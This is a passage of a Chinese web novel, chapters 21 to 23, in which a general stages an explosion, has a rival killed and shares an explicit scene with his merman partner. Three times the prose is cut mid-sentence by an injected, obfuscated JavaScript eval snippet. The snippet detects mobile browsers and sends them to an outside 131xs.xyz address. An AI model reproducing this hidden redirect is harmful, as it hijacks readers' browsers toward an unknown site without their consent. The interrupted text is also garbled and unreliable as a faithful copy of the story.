傅寂洲又看了他一眼:“当然有。” 叶鲤立刻不吭声了。 鲨鱼拖拉机戛然而止。 一路上静悄悄的,直到傅寂洲按照导航把车停在目的地,才惊觉叶鲤不高兴。 叶鲤的脸被捏住晃了晃,傅寂洲靠近了,小心翼翼的问:“怎么出来玩还生气,谁又惹到我家祖宗了?” 21. 爆炸 叶鲤甩甩头,把脸颊上的手掌甩掉,起身准备下车:“没有不高兴,我要走了,再见!” 傅寂洲把车停在了地下车库,叶鲤推开车门四处张望了一下,在四通八达的车库里随机选了一条路。 傅寂洲的声音在身后,低沉嗓音在空旷车库中带了点回音,更加幽深:“左拐直走。” 叶鲤脚步顿了一下,回过头。 傅寂洲把车停稳当了,插兜斜靠在车前,静静看着他。 叶鲤莫名觉得这场景有点像家长送小孩儿去幼稚园。 他再次举手和傅寂洲拜拜:“我知道了,你回去吧。” “正巧,我的私活也在这交接,”傅寂洲站着没动,点了点手腕的小天才手表,说道,“半小时后我在这里等你。” 半个小时够干什么?! 叶鲤正准备和傅寂洲讨价还价,对面男人眉梢一挑,闲闲开口:“半小时后我要赶去下一个地点交接私活。” 叶鲤眼神一凛:“没问题,我一定准时回来。” 叶鲤背着橙黄色的书包,几步就跑出了地下停车场。 也不怪他迷路,这里停满了酷似傅寂洲开的那类车,像一个无法标记的迷宫。 他轻快的脚步声消失在车库深处。片刻后,以傅寂洲为中心,那些经过改造的武装越野车车门纷纷推开,一群黑衣男子鱼贯而下,动作利落地跳落地面。 若方才叶鲤再细心些,定会发现这偌大的地下车库静得鸦雀无声,一片死寂,连只苍蝇都不敢飞入。 “老大,人都到齐了,听您指令。” 即便是在这支人均一米八几的队伍里,傅寂洲的身形依旧卓然挺拔。他眼中残存的笑意瞬间敛尽,淡淡说道:“直接炸,注意方位,别吓着他。” —— 金湾三号是这里有名的娱乐场所,叶鲤导航时看了一眼大众评价,非常金碧辉煌。 很好,和他叶鲤完美适配。 怀中的鲨鱼喵呜喵呜的叫,扭着身子要下去,叶鲤一个没抓牢,鲨鱼就朝反方向窜了出去,一头扎进了草丛里。 叶鲤转头去捉猫,拨开草丛一看,不知道谁在草丛里洒了猫粮,正好是鲨鱼喜欢的口味,把小猫迷的撅着屁.股哐哐炫,叶鲤拉都拉不出来。 “平常在家短你吃还是短你喝了?”叶鲤蹲在一旁,无奈的看着鲨鱼干饭。 这句话颇为熟悉,不远处,榕树身后,拿着录音机的傅寂洲悄无声息地勾了勾唇。 “轰隆——” 一声巨响从叶鲤身后大厦里传来,鲨鱼连胡须都没抖一下,淡定的吃掉最后一粒猫粮,叶鲤惊讶的向后看去,正好看到大厦三楼火光冲天,落地窗残渣飞溅,浓烟瞬间从破口处滚滚涌出,硝烟弥漫开来,无数行人驻足惊呼。 爆炸了?! ……是傅寂洲接私活被炮轰了吗?! 肯定是了,傅寂洲一个当兵的,接的私活估计就是贩卖军火,而且他早上还在傅寂洲衣领上闻到火药味了呢! 叶鲤瞬间小脸一白,抱着鲨鱼撒腿往里面闯去。 如果不是因为他贪图钻戒,傅寂洲就不会接私活,也就不会被炮轰。 愧疚化作泪水在眼眶里打转,夏日热风带来了硝烟的味道,和叶鲤在傅寂洲衣领上闻到的一模一样,人鱼的嗅觉发达,绝不可能闻错。 虽然傅寂洲有时候很气人,但大多时候他是一位合格的大款,如果傅寂洲真出了什么意外,他一定戒掉买钻石—— 还没立完誓的叶鲤被一双手揽着腰提溜了回来。 “这么着急,找谁呢。”一道熟悉的、不爽的声音从身后传来,叶鲤含着两汪泪水,猛地回头。 “太好了,你还活着!” 傅寂洲:“……?” 叶鲤眼圈里的泪终于落了下来,他放下鲨鱼,揪着傅寂洲的衣领抽泣:“好了,我以后都不买钻戒了,你别接私活,你穷一点也没关系的!” “……” 傅寂洲面无表情地掐了耳麦。 四面八方的手下没一个能忍住,全噗嗤噗嗤哈哈大笑起来。 叶鲤被黑着脸的傅寂洲攥着手腕托着走,一路上都在真挚的发表“你别接私活了我害怕”的言论,并且一手抱猫,一手高举两根手指头,发誓自己近期都不需要钻石了。 直到傅寂洲把他塞回车里,一路风驰电掣开进家门,绕过喷泉停进车库,叶鲤才一拍大腿:“坏了!” 傅寂洲心想这鱼总算能记起来正事了,结果叶鲤捂着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156186|180567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心口哽咽一声:“我用的是pdd先用后付。” “现在还有三十几个快递没付钱,”叶鲤痛苦的补充,“你可能还得接一趟私活。” 傅寂洲:“…………” 他狠狠闭了闭眼,深深叹了口气,对叶鲤比了一个“下车”的手势:“你别说话了,先去吃饭吧。” —— 叶鲤为了压惊,和鲨鱼吃完了一整条金枪鱼。 这狸花体型跟受了虐待似的,竟然这么能装,傅寂洲抱臂在一旁惊奇的打量着鲨鱼,对这猫的饭量有了新认知。 况且他刚刚可没少在草丛洒猫粮。 吃完午饭,叶鲤就跑去了卧室。 傅寂洲推门进来的时候,叶鲤正负手站在床前,对一堆零零碎碎的珠宝首饰告别:“我能有什么办法呢?只有你们刚到家不到七天,我先把你们送回老家一段时间,等风声过了再把你们赎回来……” 傅寂洲一边感动叶鲤竟然这么重视自己的生命,一边面无表情地把床上的首饰一条条挂在墙上的毛毡板上, “我再强调一遍,我有钱。” 叶鲤露出了一个微妙的表情,傅寂洲从中看出了“不接私活你上哪挣钱”这九个大字。 傅寂洲起身拿过手机,调出照片指给叶鲤看。 那是之前他让叶鲤挑出来的、叶鲤喜欢的庄园全景图,一共100多张,被傅寂洲存在手机相册里。 “看到了吗,这些,这些,以及这些,”傅寂洲长指一张张拨过照片,慢条斯理的给小鱼看。 “这些你都买得起?”叶鲤这次很好的察觉到傅寂洲在嘚瑟。 “准确来说,这些我都买下了,其中有三分之二在你的名下,叶小王子。” 傅寂洲合上手机:“还有一些酒庄和雪场,哦,还有当年去西联盟参军,在那边顺手买了几座钻石矿,前几年也都转你名下了。” 叶鲤震惊的掏出来手机。 傅寂洲笑起来:“要查吗,我教你怎么查名下资产。” 当年叶鲤不识字,傅寂洲就这样骗他签了很多合同。 “不不,这不重要,”叶鲤推开傅寂洲,把pdd购物车一口气全部清空,轻轻说道,“感谢,感谢年轻的你努力接私活赚钱。” 22. 香水 叶鲤总觉得忘了件什么事。 他里里外外巡视了一遍卧室,毛毡板上的首饰一件不少,床底偷藏的几包拌面安然无恙。一楼猫的饭碗里猫粮堆成了小山,泳池壁画也焕然一新,换上了大耳朵图图一家三口的卡通画。米虫……啊不对,米鱼的生活堪称完美无瑕。 到底忘了什么呢?叶鲤苦恼地蹙起眉。 傅寂洲闲适地靠坐在沙发上翻着报纸,目光却如影随形,黏在楼上楼下满屋子打转的叶鲤身上。 “过来。” 他语气淡淡。 叶鲤敷衍的嗯了一声,脚步不停,继续满客厅转悠。 傅寂洲官威再大,在家也奈何不了叶鲤分毫。 鱼在眼前游来游去,傅寂洲忍得牙根发痒,轻“啧”一声,从口袋里拈出一枚璀璨的黄钻发卡,指尖捏着晃了晃:“过来。” 叶鲤立刻上钩,乖乖凑上前。 “你早说要送我礼物呀。”叶鲤坐在傅寂洲身边,开心的嗔怪一声。 傅寂洲抬手,勾起他细软的白金色长发,轻柔地拢到耳后,用发卡仔细别好。落地窗外阳光斜斜洒落,为发丝镀上一层朦胧柔光,让人移不开眼。 今天叶鲤的唇色格外诱人。 被注视的久了,叶鲤不知道想起来了什么,不自然的舔了一下唇。 一般傅寂洲露出这种不可描述的表情,就意味着他接下来会有三分钟的时间喘不上气。 果然,三秒后,傅寂洲指腹托起他的下巴,低头便覆上了那微张的唇瓣,顷刻间,暧昧的水声在静谧的客厅里低低回荡。 每一个礼物都需要一个强势的吻作为回礼。 几分钟后,叶鲤才猛地挣开,大口大口呼吸新鲜空气。 这下本就没记住事儿的脑瓜更不灵光了。 傅寂洲高挺的鼻梁抵着他柔软的脸蛋,近乎痴迷蹭过他微肿的唇瓣,声音低沉诱哄:“别想其他事,只准想我,懂?” 叶鲤有力无气的瘫倒在男人坚硬似铁的身上,捂着嘴哼了一声,彻底把没想起来的事抛之脑后。 —— 傅寂洲手机群消息一向安安静静,今天却罕见的满99+。 方才出任务的那群小子不间断的在群里@他。 【一队二队离得太远,只看到一个小王子圆圆的后脑勺,@老大,下一个任务是啥时候,我要换队!】 【@老大@老大@老大 秦望那小子没炸透,要不要去补个刀?】 【谁录了小王子抱着老大大喊‘太好了你没死’?求申请做成部队起床铃谁同意谁反对!】 【同意,求】 【求】 【跪求,有视频吗,真想看老大当时的表情吼吼吼】 【我有,私】 【已私】 【已私】 【……】 【群管理员:以上发言者,永久禁言】 世界安静。 傅寂洲点开那个声称有视频资源的小子,冷冷打字:“发来。” 对面秒怂,火速把视频上交。 “都发给谁了?” “没、没有!老大!我们纯粹口嗨!您是还第一个私我的!” 傅寂洲:“……” 视频清晰度尚可,但这小子镜头太抖,炸药包炸开的瞬间镜头直接抖上了天,连叶鲤的整张脸都没拍全。 声音也不清晰,还没他自己录的质量高。 这小子,退伍后千万不能进攻摄影行业,没人敢用。 傅寂洲垂眸盯着屏幕,指尖在桌面敲了敲,长按、保存。 随后,他冷声对手机对面屏息等待的小子说道:“把原视频删干净。明天去部队,我挨个查手机。” —— 傅寂洲手中的窃听器沙沙作响,不属于市面上任何一个品牌,更像是军用品,里面清晰实时传来叶鲤哼歌的声音。 他调出叶鲤出门前的手机通话记录,反复听了三遍,面无表情地松开了被捏碎的鼠标。 傅寂洲是东联盟风雨不动安如山的人物,近两年来得力于他和他的敢死队不要命的出战,边界处出现了罕见的太平,他的枪也很久没有见血了。 这样的人,竟然会因为一段音频露出令人不寒而栗的煞气。 傅寂洲把碎掉的鼠标扔进垃圾桶。 如果他在出发前把录音完整的听一遍,那么秦望绝不会活着被抬出爆炸现场。 不,他绝对不会让叶鲤踏出房门半步。 深夜,医院走廊冷冷清清,声控灯随着黑衣男人脚步声亮起,又悄无声息地灭掉。 秦望大口大口吐着血沫,英俊的面庞朝下,脖子上套了麻绳,被黑衣男拖行着,留下一走廊蜿蜒血迹。 男人濒死挣扎着,被勒紧的喉咙发出不堪重负的“咯咯”声,无人在意。 这层楼已经空了,黑衣男一路脚步不停,把秦望拖到走廊尽头的办公室里。 傅寂洲靠着椅背,闲适地双腿交叠而坐,挥手拒绝了黑衣男递上来的绳子。 “我赶时间回家,不方便动手。” 被不断收紧的绳口终于暂时停息,秦望颤抖地扒开绳子,吐出一口血沫。 他已经完全没有力气站起来,只能屈辱的趴在地上,勉强能抬头看到一双锃亮的黑皮鞋。地板砖映照着他的脸,如果有人低头看去,会愕然发现他的半张脸全然溃烂,像是被具有强烈腐蚀性的□□生生炸开了皮肉。 “你想杀我?当初是你求着要和我族建交,说不会伤害任何族人——”满腔不甘,满腔惊惧,都在此刻化作了怒火,秦望目眦尽裂。 如果不是这个人,他们一族绝不会上岸和人类打交道,叶鲤也绝对不会选择联姻! 哪怕他们和海盗正面交锋,也不过死一些平民而已,他和叶鲤是血统高贵的鱼,是族里的有生力量,会带着全族的希望找到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156187|180567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世外桃源,他会和叶鲤携手安营扎寨,一直常伴叶鲤左右…… 都是傅寂洲,都是这个人类毁了这一切! 傅寂洲过来不是和他闲聊的,他也没兴趣和将死之人闲聊。 “动手吧。”他不耐烦地对黑衣人摆摆手。 他已经在这里耽搁够久了,再晚半小时,他就得不到今天的晚安吻了。 “你真的要杀我?!不,叶鲤如果知道你杀了我,一定会找你报仇的,放开,你放开我!” “你不会有机会告诉他的。”傅寂洲起身出去了。 三分钟后,黑衣从医院出来,快步走到黑色汽车旁,车窗徐徐降下,露出傅寂洲阴郁冷淡的侧脸。 天气转凉,蝉鸣也弱,远处乌云翻滚,路灯映着傅寂洲的神情,不怒自威。 “老大,秦望死之前说了几句话。” 傅寂洲示意他说下去。 “他说,他给叶鲤打的那通电话,都是真话。” 车内温度瞬间一沉。 黑衣人是跟着傅寂洲从D区升上来的兵,只效忠傅寂洲一人。他远远见过叶鲤一次,只记得那是一个脾气很大的少爷,傅寂洲一句话说不对,就会被翻白眼。这种异族生物阴晴不定,如果秦望说的是真的,那他更要提醒将军提防叶鲤。 “人之将死其言也善,他说叶鲤从小喜欢他——” 傅寂洲眼神冰凉冷厉,黑衣人瞬间识趣闭嘴。 虽然头顶很凉,但他心中依旧不解,上将未来是要做最高位的人,竟然对儿女情长这么在意? 傅寂洲冷笑一声:“他还真会给我找不痛快,现在咽气了?” “是的。” 男人稍有遗憾地叹息一声。 “火葬的时候,帮我传句话,”傅寂洲转头看向黑衣人,眼中笑意深不见底,后者脊背绷直了一动不动, “就说,让他失望了,我根本不在意他这种失败的前任。因为他丝毫,不值得和叶鲤的现任相提并论。” —— 今夜有雨。 傅寂洲回来的时候,身上甜甜的果木香浓烈了些,冲淡了室外冰凉潮湿的水汽。 叶鲤很喜欢这种甜味道,但是放在傅寂洲身上,就有一种金刚侠穿蓬蓬裙的别扭感。 “为什么是这个味道?”叶鲤卷着被子,在床上滚的东倒西歪,脑袋横在傅寂洲大腿中间,仰头只能看到男人冷淡的下颚线。 傅寂洲没有立刻开口,他低头捻着叶鲤的耳垂,听着外面淅淅沥沥的雨声, 过了片刻后他才说,“之前你很喜欢。” 明明是很正常的一句话,叶鲤却愣了一会,骨碌碌滚到了床的另一侧。 “哦,好吧,我知道了。”被子里声音闷闷的。 现在是十八岁的叶鲤,为什么要坚持喷二十三岁的叶鲤喜欢的香水。 他很不受待见吗? ……切,没眼光。 23. 发情期 叶鲤昨夜觉得睡得乱糟糟的,一直在做梦。 梦见自己身体很软很痒,像是要融化了,他很想让傅寂洲帮他,但是这人就站在床边冷冷垂眸看着他。 就算是梦,叶鲤也又羞又恼,他想抓着傅寂洲让他抱着自己,但是床变得无穷大,他总是够不到。 清晨,叶鲤回想了一下昨晚的梦,不高兴地给了傅寂洲一拳。 做噩梦也有傅寂洲的身影,他觉得是因为晚上傅寂洲总是把他抱的很紧,把他美梦压成了噩梦。 于是他试图给傅寂洲讲道理:“专家说睡觉要平躺。” “他在骗你,侧躺是最好的。”傅寂洲大早上被一拳打在心口,好脾气地闭眼说道。 叶鲤一个刷到什么视频都会相信、日常被营销号骗的团团转的鱼,迷茫了一下:“真的?” “当然,我什么时候骗过你。” 叶鲤犹豫着哦了一声,记下了这个知识点,却忘记了原本是要提醒傅寂洲不要抱他太紧的。 昨晚下过雨,室外温度降下了,叶鲤早晨起来遛猫时穿的还是短裤,回来后膝盖都冻的红彤彤的,傅寂洲强制性把人按在怀里摸了摸,小腿冰凉。 “回去换衣服。” “不不不,我已经不冷了,我不出门总行了吧!” 虽然这句话非常符合傅寂洲的心意,但显然情境不对,遂拒绝:“不行,必须穿。” 叶鲤憋红了脸,仰倒在床上,被傅寂洲握着脚踝,不容拒绝的裹上了长裤。 两条腿被长筒套上,两条腿都会被布料全方位摩擦到,从没有这种体验的叶鲤觉得很不舒服。而且他今天两腿莫名酸软,稍稍一走动就浑身乏力,好像还没从梦中醒来。 他沮丧的把小裤裤往上提了提,露出它本不该出现的存在感:“为什么穿了一个裤子,还要再穿一个?我以后只穿小裤裤不可以吗?而且我今天有点燥,虽然皮是冷的,但心里很热。” 这都是些什么乱七八糟的话,傅寂洲坚定拒绝了:“不可以。” 叶鲤瘫倒在床上,下半身像是被束缚着,没有了上蹿下跳的力气。 傅寂洲有事情要处理,简单和管家交代了几句,尤其提醒不要让叶鲤穿短裤去小花园玩,开车离开了庄园。 叶鲤郁闷地坐在小客厅里,瓷勺把一杯小甜水搅的叮当作响。 身为管家,他有责任关怀小王子的身心健康,老头笑眯眯地抽开椅子坐在叶鲤对面:“小王子今天为什么不开心?” 周围几个插花的女仆悄咪咪竖起了耳朵。 叶鲤已经习惯了,不论他待在庄园的哪个角落,都会被一群假装忙碌的仆人围在中间,只要他一动,这群人就会发出一阵兴奋的怪叫。 叶鲤把自己不喜欢穿长裤的事情告诉了管家,没等老头说话,身后插花的姑娘脱口而出:“那穿裙子呗。” 裙子? 是小公主苏菲亚里面的那种挂着很多宝石的彩色衣服吗? 傅寂洲给他准备的衣服中没有那种款式,叶鲤唰得抬起来头。 插花的几个女仆是专门为了近距离见到人鱼,千方百计前来应聘上的。说话的那位女生更是一位小有名气的画手,应聘上之后时不时就能看到上将扛着小人鱼上楼,关在卧室一待就是半天。于是灵感大爆发,深夜产出了无数带有颜色的插画,圈内人直呼朝廷赈灾粮下来了。 这是她在庄园摸鱼混日子以来,第一次和叶鲤对视上,在心里尖叫半天,疯狂抑制住面部表情,只是轻轻说道:“小王子穿裙子一定很好看。” 管家轻咳一声:“包在我身上。” 一个小时后,叶鲤的衣柜里多出来十几条五颜六色的长裙。 彼时他正在和大嫂通电话。 时汲看着管家和神色如常的下人,再看看那些璀璨的长裙,沉默了一瞬。 有点离谱,但一想到叶鲤送给他的第一份礼物竟然是一只儿童手表,他就释然了。 裙子要比裤子好穿多了,叶鲤轻松套上,展示给大嫂看:“怎么样!” 时汲眼前一亮,人鱼本来就有一张迷人的脸庞,叶鲤还带着璀璨的黄钻发卡、珍珠项链、四五串宝石手链,再搭配上如此奢华重工的半身长裙,整个人像是油画里飞出来的蝴蝶。 也像是高奢时装周的模特,裙摆晃动时能折射出迷人的光晕。 时汲忽然想起来自己家里的那条鱼。 呃,或许他也可以私下里给叶慕入一条。 “特别迷人。”时汲真挚地夸赞道。 叶鲤很开心的接受了家人的称赞,觉得原本不得劲的身体瞬间复活,身体也不燥腿也不酸了。 挂断视频后,他还自信的找好角度自拍一张,给出门在外的傅寂洲发了过去。 配文:【请夸】 傅寂洲随即发了条三秒的语音:【好看,等我回去再脱。】 这是要现场夸他的节奏,叶鲤回复了一个“OK”。 对面,傅寂洲把照片放大,仔仔细细盯了大概有五分钟,才把照片保存到相册。 他架着枪继续守在海盗交易地点的上方,恢复了面无表情的模样。 离枪战只剩下一小时的时间,他要从海盗手里救走一批被明码标价售卖的未成年人鱼。 之前叶慕失踪的时候,他做这些事情做习惯了,所以就算现在叶慕回来了,他还是亲自扛着枪走一趟。 凉风吹过男人锋利的眉眼,傅寂洲喉结上下滚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156188|180567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,把所有不合时宜的想法压在心里。 竟然学会穿裙子勾引他,任务完成后,一定要回去把叶鲤从头到尾咬一遍。 —— 晚八点,成功把人鱼交接到叶慕手里后,傅寂洲提前去酒店洗去身上的血污,随后回家。 今天卧室没有开灯,傅寂洲蹙眉找了一圈,看到了在床上昏睡的叶鲤。 平常这个时间点叶鲤还在直播间蹲秒杀价,今天怎么休息这么早。 傅寂洲走上前,指尖碰到叶鲤的脸蛋,热气蒸腾。 他脸色一变,打开室内灯,热腾腾水淋淋的叶鲤猛然从梦中惊醒,上衣卷到了胸前,双腿不安分地从裙摆中踢出来,长发被洇湿了,软塌塌地黏在脸上。 那双蔚蓝色的眼眸含了一汪水,傅寂洲伸手给他擦去了,他张口才发现自己声音低哑:“叶鲤,……你发.情期来了。” 叶鲤的发情期一般在生日过后,可能是最近吃的太好,也可能是摄入太多人类食物收到了刺激,今年的发情期来的格外早,也格外猛烈。 人腿维持不住,早早变回了鱼尾。 长裙凸起的钻石硌到尾部,使他投怀送抱般抵了抵腰。 傅寂洲掌心贴着他的侧脸,一时没动。 明明这么不舒服,眼底还是一片纯净,像一个懵懂无知的小兽。 好像他们做了最亲密的事也不必许下一生一世的承诺,也不必相濡以沫。 傅寂洲即将冲破胸膛跳出来的心脏莫名停滞了一瞬。 “我帮你?”傅寂洲沉声问,“你想让我怎么帮你,手,嘴,还是别的?” 叶鲤不知道,他甚至不懂这三者有什么区别。 交尾是人鱼世代繁衍所必须经历的,他们要在第一次发.情期到来之前认真学习交尾知识,这样在发.情期到来之际才能更好的让自己舒服。 但是这么重要的一堂课却被叶鲤忘记了,他只能模糊的记起零碎的片段,却拼不完整。 “都可以的。”叶鲤眼中水汽氤氲,说话带了点鼻音,讨好地抱住了傅寂洲的腰。 傅寂洲脑子还没反应过来,双臂下意识地反手揽住叶鲤,倾身压在身下。 “等你发.情期的时候,我也会帮你的。” “人类没有发.情期。” 因为热气蒸腾,叶鲤眼角泪水滑落至耳廓,留下一条亮晶晶的路线,傅寂洲下意识把它擦去了。 “那怎么办,”叶鲤感觉天塌了,他唇角有咸咸的泪水,胡乱给了傅寂洲一个并不美味的吻,“可以假装有吗?” 他被困在傅寂洲身下,扭动着腰把双手举过头顶,弱弱的比了个“拜托”的姿势, “没有你我不知道怎么办。”